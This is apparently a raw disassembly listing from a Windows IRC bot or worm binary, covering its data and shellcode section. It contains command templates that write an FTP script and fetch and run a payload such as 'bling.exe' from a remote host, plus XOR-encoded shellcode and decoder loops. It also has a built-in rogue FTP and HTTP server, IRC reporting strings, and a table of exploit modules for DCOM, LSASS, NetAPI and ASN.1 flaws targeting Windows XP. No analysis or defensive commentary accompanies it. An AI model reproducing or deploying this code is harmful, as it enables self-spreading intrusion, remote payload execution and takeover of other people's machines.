dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B3r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 